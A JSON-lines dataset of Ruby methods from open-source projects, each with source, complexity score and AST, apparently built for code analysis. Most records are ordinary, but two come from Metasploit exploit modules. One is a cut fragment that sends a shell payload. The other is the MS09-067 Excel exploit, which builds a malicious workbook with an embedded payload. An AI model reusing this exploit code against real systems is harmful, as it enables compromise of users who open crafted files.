QRadar...\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Sit back and relax, Shelly will come visit soon!\"]}]}]},{\"type\":\"send\",\"children\":[null,\"send_response\",{\"type\":\"lvar\",\"children\":[\"cli\"]},{\"type\":\"ivar\",\"children\":[\"@payload\"]}]}]}]}","id":"92f02122-3bac-4b6b-ad67-e42ee94071db"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/gitlab/blame_presenter.rb","start_line":94,"raw_source":"def project\n      return super.project if defined?(super.project)\n\n      blame.commit.repository.project\n    end","complexity_score":8.3,"ast_json":"{\"type\":\"def\",\"children\":[\"project\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"project\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},\"project\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"blame\"]},\"commit\"]},\"repository\"]},\"project\"]}]}]}","id":"f878faef-5987-4690-ae86-4aa58d1b1842"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/reporter.rb","start_line":14,"raw_source":"def initialize(configuration)\n      @configuration = configuration\n      @listeners = Hash.new { |h, k| h[k] = Set.new }\n      @examples = []\n      @failed_examples = []\n      @pending_examples = []\n      @duration = @start = @load_time = nil\n      @non_example_exception_count = 0\n      @setup_default = lambda {}\n      @setup = false\n      @profiler = nil\n    end","complexity_score":18.2,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"configuration\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@configuration\",{\"type\":\"lvar\",\"children\":[\"configuration\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@listeners\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"new\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"h\"]},{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"h\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"k\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Set\"]},\"new\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@examples\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@failed_examples\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@pending_examples\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@duration\",{\"type\":\"ivasgn\",\"children\":[\"@start\",{\"type\":\"ivasgn\",\"children\":[\"@load_time\",{\"type\":\"nil\",\"children\":[]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@non_example_exception_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@setup_default\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},null]}]},{\"type\":\"ivasgn\",\"children\":[\"@setup\",{\"type\":\"false\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@profiler\",{\"type\":\"nil\",\"children\":[]}]}]}]}","id":"bf052e1f-b45e-459e-808a-1ea6aa2e2bc2"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/spaceship/lib/spaceship/connect_api/models/app_store_version_localization.rb","start_line":67,"raw_source":"def delete!(client: nil, filter: {}, includes: nil, limit: nil, sort: nil)\n        client ||= Spaceship::ConnectAPI\n        client.delete_app_store_version_localization(app_store_version_localization_id: id)\n      rescue\n        raise Spaceship::AppStoreLocalizationError, @locale\n      end","complexity_score":5.9,"ast_json":"{\"type\":\"def\",\"children\":[\"delete!\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"client\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"filter\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"includes\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"limit\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"sort\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"client\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"client\"]},\"delete_app_store_version_localization\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app_store_version_localization_id\"]},{\"type\":\"send\",\"children\":[null,\"id\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[null,null,{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"AppStoreLocalizationError\"]},{\"type\":\"ivar\",\"children\":[\"@locale\"]}]}]},null]}]}","id":"2733fbda-c84d-4eab-a030-4c44e2decfaa"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/number_helper_test.rb","start_line":47,"raw_source":"def test_number_with_delimiter\n    assert_nil number_with_delimiter(nil)\n    assert_equal \"12,345,678\", number_with_delimiter(12345678)\n    assert_equal \"0\", number_with_delimiter(0)\n  end","complexity_score":6.95,"ast_json":"{\"type\":\"def\",\"children\":[\"test_number_with_delimiter\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"12,345,678\"]},{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"int\",\"children\":[12345678]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"0\"]},{\"type\":\"send\",\"children\":[null,\"number_with_delimiter\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}","id":"386cf26c-012b-4d13-8481-eaef45f2c66d"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/rack-protection/spec/support/shared_examples.rb","start_line":42,"raw_source":"def call(env)\n        env['foo.bar'] = 42\n        app.call(env)\n      end","complexity_score":3.45,"ast_json":"{\"type\":\"def\",\"children\":[\"call\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"env\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"env\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"foo.bar\"]},{\"type\":\"int\",\"children\":[42]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"app\"]},\"call\",{\"type\":\"lvar\",\"children\":[\"env\"]}]}]}]}","id":"11237c3f-9aaa-4a97-a1cf-270b9ca2042c"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/v1/instance_serializer.rb","start_line":19,"raw_source":"def short_description\n    object.description\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"short_description\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"description\"]}]}","id":"f163e87b-855b-41a4-8303-70a67731a466"}
{"repo_name":"rouge","file_path":"./repos/rouge/lib/rouge/lexers/haskell.rb","start_line":14,"raw_source":"def self.analyze_text(text)\n        return 1 if text.shebang?('runhaskell')\n      end","complexity_score":2.28,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"analyze_text\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"text\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"text\"]},\"shebang?\",{\"type\":\"str\",\"children\":[\"runhaskell\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"int\",\"children\":[1]}]},null]}]}","id":"d94caeb2-b101-4288-9472-1ab93977d788"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/logging/log_dispatcher.rb","start_line":89,"raw_source":"def log(sev, src, level, msg)\n    log_sinks_lock.synchronize {\n      if ((sink = log_sinks[src]))\n        next if (log_levels[src] and level > log_levels[src])\n\n        sink.log(sev, src, level, msg)\n      end\n    }\n  end","complexity_score":19.5,"ast_json":"{\"type\":\"def\",\"children\":[\"log\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sev\"]},{\"type\":\"arg\",\"children\":[\"src\"]},{\"type\":\"arg\",\"children\":[\"level\"]},{\"type\":\"arg\",\"children\":[\"msg\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_sinks_lock\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sink\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_sinks\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"src\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_levels\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"src\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"level\"]},\">\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"log_levels\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"src\"]}]}]}]}]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sink\"]},\"log\",{\"type\":\"lvar\",\"children\":[\"sev\"]},{\"type\":\"lvar\",\"children\":[\"src\"]},{\"type\":\"lvar\",\"children\":[\"level\"]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},null]}]}]}","id":"bfcc8d6c-3bd8-49af-a52c-1be9248f4c08"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/db/migrate/20240721165313_create_areas.rb","start_line":4,"raw_source":"def change\n    create_table :areas do |t|\n      t.string :name, null: false\n      t.references :user, null: false, foreign_key: true\n      t.decimal :longitude, precision: 10, scale: 6, null: false\n      t.decimal :latitude, precision: 10, scale: 6, null: false\n      t.integer :radius, null: false\n\n      t.timestamps\n    end\n  end","complexity_score":10.6,"ast_json":"{\"type\":\"def\",\"children\":[\"change\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"create_table\",{\"type\":\"sym\",\"children\":[\"areas\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"t\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"string\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"references\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"foreign_key\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"decimal\",{\"type\":\"sym\",\"children\":[\"longitude\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"decimal\",{\"type\":\"sym\",\"children\":[\"latitude\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"precision\"]},{\"type\":\"int\",\"children\":[10]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"scale\"]},{\"type\":\"int\",\"children\":[6]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"integer\",{\"type\":\"sym\",\"children\":[\"radius\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"null\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"timestamps\"]}]}]}]}","id":"c51f1181-7d2e-4539-9640-027ede5a8dab"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/cert_option.rb","start_line":187,"raw_source":"def cert_option_certificates_from_file(path)\n        data = File.read(path)\n        pattern = Regexp.compile('-+BEGIN CERTIFICATE-+\\r?\\n(?:[^-]*\\r?\\n)+-+END CERTIFICATE-+\\r?\\n?', Regexp::MULTILINE)\n        list = []\n        data.scan(pattern){|match| list << OpenSSL::X509::Certificate.new(match) }\n        if list.length == 0\n          raise Fluent::ConfigError, \"cert_path does not contain a valid certificate\"\n        end\n        list\n      end","complexity_score":13.7,"ast_json":"{\"type\":\"def\",\"children\":[\"cert_option_certificates_from_file\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"read\",{\"type\":\"lvar\",\"children\":[\"path\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pattern\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"compile\",{\"type\":\"str\",\"children\":[\"-+BEGIN CERTIFICATE-+\\\\r?\\\\n(?:[^-]*\\\\r?\\\\n)+-+END CERTIFICATE-+\\\\r?\\\\n?\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Regexp\"]},\"MULTILINE\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"list\",{\"type\":\"array\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"scan\",{\"type\":\"lvar\",\"children\":[\"pattern\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"match\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OpenSSL\"]},\"X509\"]},\"Certificate\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"match\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"list\"]},\"length\"]},\"==\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"ConfigError\"]},{\"type\":\"str\",\"children\":[\"cert_path does not contain a valid certificate\"]}]},null]},{\"type\":\"lvar\",\"children\":[\"list\"]}]}]}","id":"f63820c1-db45-4227-a691-623dd8f1fedc"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/auth/current_user_mode.rb","start_line":192,"raw_source":"def reset_request_store_cache_entries\n        Gitlab::SafeRequestStore.delete(admin_mode_rs_key)\n        Gitlab::SafeRequestStore.delete(admin_mode_requested_rs_key)\n      end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_request_store_cache_entries\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"admin_mode_rs_key\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"SafeRequestStore\"]},\"delete\",{\"type\":\"send\",\"children\":[null,\"admin_mode_requested_rs_key\"]}]}]}]}","id":"d3ca96bc-8ba3-4095-9683-f664491885b7"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/calculations_test.rb","start_line":1142,"raw_source":"def test_ids_with_includes_and_non_primary_key_order\n    rating = 1\n    Company.all.each { |company| company.update!(rating: rating += 1) }\n    assert_equal Company.all.sort_by(&:rating).map(&:id), Company.includes(:comments).order(:rating).ids\n  end","complexity_score":20.93,"ast_json":"{\"type\":\"def\",\"children\":[\"test_ids_with_includes_and_non_primary_key_order\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rating\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"all\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"company\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"company\"]},\"update!\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"rating\"]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rating\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"all\"]},\"sort_by\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"rating\"]}]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Company\"]},\"includes\",{\"type\":\"sym\",\"children\":[\"comments\"]}]},\"order\",{\"type\":\"sym\",\"children\":[\"rating\"]}]},\"ids\"]}]}]}]}","id":"b0aa52be-813a-4503-8836-65a37bd6b60e"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/activitypub/collection_serializer.rb","start_line":40,"raw_source":"def type\n    if page?\n      ordered? ? 'OrderedCollectionPage' : 'CollectionPage'\n    else\n      ordered? ? 'OrderedCollection' : 'Collection'\n    end\n  end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"type\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ordered?\"]},{\"type\":\"str\",\"children\":[\"OrderedCollectionPage\"]},{\"type\":\"str\",\"children\":[\"CollectionPage\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ordered?\"]},{\"type\":\"str\",\"children\":[\"OrderedCollection\"]},{\"type\":\"str\",\"children\":[\"Collection\"]}]}]}]}","id":"3d0d7978-880a-456a-aca8-5cdd38143c8a"}
{"repo_name":"openproject","file_path":"./repos/openproject/modules/bim/lib/open_project/bim/bcf_xml/exporter.rb","start_line":64,"raw_source":"def create_bcf!(bcf_folder)\n      manifest_file = write_manifest(bcf_folder)\n      files = [manifest_file]\n\n      work_packages.find_each do |wp|\n        # Update or create the BCF issue from the given work package\n        issue = IssueWriter.update_from!(wp)\n\n        # Create a folder for the issue\n        issue_folder = topic_folder_for(bcf_folder, issue)\n\n        # Append the markup itself\n        files << topic_markup_file(issue_folder, issue)\n\n        # Append any viewpoints\n        files.concat viewpoints_for(issue_folder, issue)\n\n        # TODO additional files such as BIM snippets\n      end\n\n      files\n    end","complexity_score":16.2,"ast_json":"{\"type\":\"def\",\"children\":[\"create_bcf!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"bcf_folder\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"manifest_file\",{\"type\":\"send\",\"children\":[null,\"write_manifest\",{\"type\":\"lvar\",\"children\":[\"bcf_folder\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"files\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"manifest_file\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"work_packages\"]},\"find_each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"wp\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"issue\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueWriter\"]},\"update_from!\",{\"type\":\"lvar\",\"children\":[\"wp\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"issue_folder\",{\"type\":\"send\",\"children\":[null,\"topic_folder_for\",{\"type\":\"lvar\",\"children\":[\"bcf_folder\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"<<\",{\"type\":\"send\",\"children\":[null,\"topic_markup_file\",{\"type\":\"lvar\",\"children\":[\"issue_folder\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"files\"]},\"concat\",{\"type\":\"send\",\"children\":[null,\"viewpoints_for\",{\"type\":\"lvar\",\"children\":[\"issue_folder\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"files\"]}]}]}","id":"84008b39-ac36-449a-b662-5639a4853d41"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/fileformat/ms09_067_excel_featheader.rb","start_line":121,"raw_source":"def exploit\n    # build the Workbook stream\n    ptr1 = target['ObjPtr']\n    ptr2 = ptr1 + 4\n    ptr3 = ptr2 + 4\n    ptr4 = ptr3 + 4\n\n    bofdata = \"\"\n    bofdata << Rex::OLE::Util.pack16(0x0600)\n    bofdata << Rex::OLE::Util.pack16(0x0005)\n    bofdata << Rex::OLE::Util.pack16(0x1faa)\n    bofdata << Rex::OLE::Util.pack16(0x07cd)\n    bofdata << Rex::OLE::Util.pack32(0x000100c1)\n    bofdata << Rex::OLE::Util.pack32(0x00000406)\n\n    feathdr = \"\"\n    feathdr << Rex::OLE::Util.pack16(0x0867) # frt\n    feathdr << \"\\x00\" * (10)\n    feathdr << Rex::OLE::Util.pack16(0x0004) # isf\n    feathdr << \"\\x01\" # reserved\n    feathdr << Rex::OLE::Util.pack32(0x00000004) # cbHdrData\n    feathdr << [ptr1].pack('V')\n    feathdr << rand_text_alphanumeric(1) # alignment\n    feathdr << [ptr2].pack('V')\n    feathdr << [ptr3 - 0x28].pack('V')\n    feathdr << [ptr4].pack('V')\n    # feathdr << \"\\xcc\"\n    feathdr << payload.encoded\n\n    content = \"\"\n    content << add_record(0x0809, bofdata)\n    content << add_record(0x0867, feathdr)\n    content << add_record(0x000a)\n\n    print_status(\"Creating Excel spreadsheet ...\")\n\n    out = File.join(File.join(datastore['OUTPUTPATH'], datastore['FILENAME']))\n    stg = Rex::OLE::Storage.new(out, Rex::OLE::STGM_WRITE)\n    if (not stg)\n      fail_with(Failure::Unknown, 'Unable to create output file')\n    end\n    stm = stg.create_stream(\"Workbook\")\n    if (not stm)\n      fail_with(Failure::Unknown, 'Unable to create workbook stream')\n    end\n    stm << content\n    stm.close\n    stg.close\n\n    print_status(\"Generated output file #{out}\")\n  end","complexity_score":88.4,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"ptr1\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ObjPtr\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ptr2\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ptr1\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ptr3\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ptr2\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ptr4\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ptr3\"]},\"+\",{\"type\":\"int\",\"children\":[4]}]}]},{\"type\":\"lvasgn\",\"children\":[\"bofdata\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bofdata\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack16\",{\"type\":\"int\",\"children\":[1536]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bofdata\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack16\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bofdata\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack16\",{\"type\":\"int\",\"children\":[8106]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bofdata\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack16\",{\"type\":\"int\",\"children\":[1997]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bofdata\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack32\",{\"type\":\"int\",\"children\":[65729]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"bofdata\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack32\",{\"type\":\"int\",\"children\":[1030]}]}]},{\"type\":\"lvasgn\",\"children\":[\"feathdr\",{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"OLE\"]},\"Util\"]},\"pack16\",{\"type\":\"int\",\"children\":[2151]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"feathdr\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\u0000\"]},\"*\",{\"type\":\"begin\",\"children\":[{\"type\":\"int\",\"